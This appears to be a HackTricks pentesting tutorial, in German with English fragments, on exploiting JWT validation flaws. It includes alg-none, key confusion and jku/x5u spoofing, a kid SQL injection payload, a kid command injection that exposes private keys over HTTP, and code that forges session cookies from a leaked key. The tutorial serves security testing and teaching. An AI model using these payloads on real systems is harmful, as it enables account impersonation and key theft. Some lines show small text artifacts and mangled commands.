JWT Schwachstellen (Json Web Tokens)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ein Teil dieses Beitrags basiert auf dem großartigen Beitrag: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor des großartigen Tools zum pentesten von JWTs https://github.com/ticarpi/jwt_tool
Schnelle Erfolge
Führe jwt_tool mit dem Modus All Tests! aus und warte auf grüne Zeilen
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Wenn du Glück hast, findet das Tool einen Fall, in dem die Webanwendung das JWT falsch überprüft:
.png)
Anschließend kannst du die Anfrage in deinem proxy suchen oder das für diese Anfrage verwendete JWT mit dem jwt_ tool dumpen:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Daten manipulieren, ohne etwas zu ändern
Du kannst die Daten einfach manipulieren und die Signatur unverändert lassen, um zu prüfen, ob der Server die Signatur überprüft. Versuche zum Beispiel, deinen Benutzernamen auf “admin” zu ändern.
Wird das Token überprüft?
- Eine Fehlermeldung deutet auf eine laufende Überprüfung hin; verbose Fehler, die sensible Details enthalten, sollten geprüft werden.
- Eine Änderung der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
- Keine Änderung deutet auf keine Überprüfung hin; das ist der Zeitpunkt, mit der Manipulation von payload claims zu experimentieren.
Herkunft
Es ist wichtig zu bestimmen, ob das Token serverseitig oder clientseitig generiert wurde, indem man die Request-History des Proxys untersucht.
- Tokens, die zuerst clientseitig auftauchen, deuten darauf hin, dass der key möglicherweise im clientseitigen Code exponiert ist und weitere Untersuchungen erforderlich sind.
- Tokens, die serverseitig entstehen, deuten auf einen sicheren Prozess hin.
Gültigkeitsdauer
Prüfe, ob das Token länger als 24h gültig ist… vielleicht läuft es nie ab. Wenn es ein “exp” Feld gibt, prüfe, ob der Server dieses korrekt behandelt.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
Wenn ein beliebiges file read (oder backup leak) sowohl application encryption material als auch user records offenbart, kannst du manchmal das JWT-Signing-Secret rekonstruieren und Session-Cookies fälschen, ohne irgendwelche Klartext-Passwörter zu kennen. Beispielhaftes Muster, beobachtet in Workflow-Automation-Stacks:
- Leak den app key (z. B.
encryptionKey) aus einer Config-Datei. - Leak die user table, um
email,password_hashunduser_idzu erhalten. - Leite das Signing-Secret aus dem key ab und berechne dann den pro-user Hash, der im JWT payload erwartet wird:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Legen Sie das signierte Token in das Session-Cookie (z. B.
n8n-auth) ein, um sich als Benutzer/Admin auszugeben, selbst wenn der Passwort-Hash gesalzen ist.
Modify the algorithm to None
Setzen Sie den verwendeten Algorithmus auf “None” und entfernen Sie den Signaturteil.
Verwenden Sie die Burp-Erweiterung namens “JSON Web Token”, um diese Schwachstelle zu testen und verschiedene Werte im JWT zu ändern (senden Sie die Anfrage an Repeater und im Tab “JSON Web Token” können Sie die Werte des Tokens ändern. Sie können auch das Feld “Alg” auf “None” setzen).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren.
Der Algorithmus RS256 verwendet den privaten Schlüssel zum Signieren der Nachricht und den öffentlichen Schlüssel zur Authentifizierung.
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Back-End-Code den öffentlichen Schlüssel als geheimen Schlüssel und nutzt dann den HS256-Algorithmus, um die Signatur zu verifizieren.
Mit dem öffentlichen Schlüssel und durch Ändern von RS256 zu HS256 kann man dann eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers wie folgt abrufen:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
New public key inside the header
Ein Angreifer bettet einen neuen Key in den Header des Tokens ein und der Server verwendet diesen neuen Key zur Überprüfung der Signatur (CVE-2018-0114).
Dies kann mit der “JSON Web Tokens” Burp extension durchgeführt werden.
(Sende die Anfrage an den Repeater, im JSON Web Token-Tab “CVE-2018-0114” auswählen und die Anfrage senden).
JWKS Spoofing
Die Anweisungen beschreiben eine Methode, um die Sicherheit von JWT tokens zu bewerten, insbesondere solche, die das “jku”-Header-Claim verwenden. Dieses Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den öffentlichen Key enthält, der für die Verifikation des Tokens erforderlich ist.
-
Assessing Tokens with “jku” Header:
-
Überprüfe die URL des “jku”-Claims, um sicherzustellen, dass sie zur erwarteten JWKS-Datei führt.
-
Ändere den “jku”-Wert des Tokens, um auf einen kontrollierten Webservice zu verweisen, sodass Traffic beobachtet werden kann.
-
Monitoring for HTTP Interaction:
-
Beobachtete HTTP-Anfragen an deine angegebene URL deuten darauf hin, dass der Server versucht, Keys von deinem bereitgestellten Link abzurufen.
-
Wenn du
jwt_toolfür diesen Prozess einsetzt, ist es wichtig, die Dateijwtconf.inimit deinem JWKS-Standort zu aktualisieren, um das Testen zu ermöglichen. -
Command for
jwt_tool: -
Führe den folgenden Befehl aus, um das Szenario mit
jwt_toolzu simulieren:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Ein optionales Header-Claim namens kid wird verwendet, um einen bestimmten Key zu identifizieren, was besonders in Umgebungen wichtig ist, in denen mehrere Keys zur Verifikation von Token-Signaturen existieren. Dieses Claim hilft bei der Auswahl des passenden Keys zur Überprüfung der Signatur eines Tokens.
Revealing Key through “kid”
Wenn das kid-Claim im Header vorhanden ist, empfiehlt es sich, das Webverzeichnis nach der entsprechenden Datei oder deren Varianten zu durchsuchen. Wenn beispielsweise "kid":"key/12345" angegeben ist, sollten die Dateien /key/12345 und /key/12345.pem im Webroot gesucht werden.
Path Traversal with “kid”
Das kid-Claim könnte auch ausgenutzt werden, um im Dateisystem zu navigieren und möglicherweise die Auswahl einer beliebigen Datei zu ermöglichen. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der kid-Wert so geändert wird, dass er auf bestimmte Dateien oder Dienste zielt. Das Manipulieren des JWT, um den kid-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mit dem -T-Flag in jwt_tool erreicht werden, wie unten gezeigt:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.
SQL Injection via “kid”
Wenn der Inhalt des kid-Claims dazu verwendet wird, ein Passwort aus einer Datenbank abzurufen, kann durch Manipulation der kid-Payload eine SQL-Injection ermöglicht werden. Ein Beispiel-Payload, das SQL-Injection nutzt, um den JWT-Signierprozess zu verändern, lautet:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Diese Änderung erzwingt die Verwendung eines bekannten Secret Keys, ATTACKER, für das Signieren des JWT.
OS Injection through “kid”
In einem Szenario, in dem der kid-Parameter einen Dateipfad angibt, der in einem Kontext zur Befehlsausführung verwendet wird, kann dies zu Remote Code Execution (RCE)-Schwachstellen führen. Durch Injizieren von Befehlen in den kid-Parameter ist es möglich, private Keys offenzulegen. Ein Beispiel-Payload, um RCE und das Offenlegen von Schlüsseln zu erreichen, ist:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
Zuerst müssen Sie ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Dann können Sie zum Beispiel jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu setzen. Um ein gültiges jku-Zertifikat zu erstellen, können Sie das Original herunterladen und die benötigten Parameter ändern.
Sie können die Parameter “e” und “n” aus einem öffentlichen Zertifikat mit folgendem Befehl erhalten:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Eine URI, die auf eine Reihe von X.509 (ein Zertifikatsformatstandard) öffentlichen Zertifikaten verweist, die im PEM-Format kodiert sind. Das erste Zertifikat in der Menge muss dasjenige sein, das dieses JWT signiert. Die nachfolgenden Zertifikate signieren jeweils das vorherige und schließen damit die Zertifikatskette. X.509 ist in RFC 52807 definiert. Zur Übertragung der Zertifikate ist Transportsicherheit erforderlich.
Versuche, diesen Header auf eine unter deiner Kontrolle stehende URL zu ändern und prüfe, ob eine Anfrage empfangen wird. In diesem Fall könntest du das JWT manipulieren.
Um ein neues token mit einem von dir kontrollierten Zertifikat zu fälschen, musst du das Zertifikat erstellen und die public und private keys extrahieren:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Dann kannst du zum Beispiel jwt.io verwenden, um das neue JWT mit den erstellten public and private keys und den Parameter x5u auf das erzeugte certificate .crt zu setzen.
.png)
Du kannst beide dieser vulns auch für SSRFs ausnutzen.
x5c
Dieser Parameter kann das certificate in base64 enthalten:
.png)
Wenn der Angreifer ein self-signed certificate erzeugt und ein forged token mit dem entsprechenden private key erstellt, den Wert des “x5c”-Parameters durch das neu erzeugte certificate ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, würde das forged token im Wesentlichen vom Server akzeptiert werden.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
.png)
Mit dem folgenden nodejs-Skript ist es möglich, aus diesen Daten einen öffentlichen Schlüssel zu generieren:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Es ist möglich, einen neuen private/public key zu generieren, den neuen public key in das Token einzubetten und ihn zu verwenden, um eine neue Signatur zu erzeugen:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Sie können das “n” und “e” mit diesem nodejs-Skript erhalten:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Schließlich kannst du mit dem öffentlichen und privaten Schlüssel und den neuen “n” und “e”-Werten jwt.io verwenden, um einen neuen gültigen JWT mit beliebigen Informationen zu fälschen.
ES256: Wiederherstellung des privaten Schlüssels bei gleicher nonce
Wenn einige Anwendungen ES256 verwenden und dieselbe nonce zum Erzeugen von zwei JWTs nutzen, kann der private Schlüssel wiederhergestellt werden.
Hier ein Beispiel: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
Der JTI (JWT ID) Claim liefert eine eindeutige Kennung für ein JWT-Token. Er kann verwendet werden, um das Replayen des Tokens zu verhindern.
Stell dir jedoch eine Situation vor, in der die maximale Länge der ID 4 ist (0001-9999). Die Requests 0001 und 10001 würden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage inkrementiert, könntest du dies ausnutzen, um eine Anfrage erneut abzuspielen (du müsstest zwischen jedem erfolgreichen Replay 10000 Anfragen senden).
Registrierte JWT-Claims
Weitere Angriffe
Cross-service Relay Attacks
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Service zur Erstellung und Verwaltung ihrer Tokens vertrauen. Es wurden Fälle dokumentiert, in denen ein vom JWT-Service für einen Client erzeugtes Token auch von einem anderen Client desselben JWT-Service akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieterdienst festgestellt wird, sollte geprüft werden, ob man sich auf einem anderen Client dieses Dienstes mit demselben Benutzername/Email registrieren kann. Anschließend sollte versucht werden, das erhaltene Token in einer Anfrage an das Ziel erneut abzuspielen, um zu sehen, ob es akzeptiert wird.
- Die Akzeptanz deines Tokens kann auf ein kritisches Problem hindeuten und möglicherweise das Spoofing beliebiger Benutzerkonten erlauben. Es sei jedoch angemerkt, dass für weitergehende Tests möglicherweise Erlaubnis erforderlich ist, wenn du dich bei einer Drittanbieter-Anwendung registrierst, da dies eine rechtliche Grauzone betreten kann.
Ablaufprüfung von Tokens
Der Ablauf des Tokens wird über den “exp”-Payload-Claim geprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist vorsichtiges Vorgehen erforderlich. In vielen Fällen könnte das Abfangen und erneute Abspielen eines anderen Benutzer-JWTs die Impersonation dieses Benutzers ermöglichen. Das JWT-RFC empfiehlt, JWT-Replay-Angriffe durch die Verwendung des “exp”-Claims zur Festlegung einer Ablaufzeit für das Token zu mindern. Außerdem ist es entscheidend, dass die Anwendung entsprechende Prüfungen implementiert, um diesen Wert zu verarbeiten und abgelaufene Tokens abzulehnen. Wenn das Token einen “exp”-Claim enthält und die Testzeit es zulässt, sollte das Token gespeichert und nach Ablauf der Zeit erneut abgespielt werden. Der Inhalt des Tokens, einschließlich Zeitstempelparsing und Ablaufprüfung (Zeitstempel in UTC), kann mit dem -R-Flag von jwt_tool ausgelesen werden.
- Ein Sicherheitsrisiko kann bestehen, wenn die Anwendung das Token weiterhin validiert, da dies implizieren könnte, dass das Token niemals abläuft.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


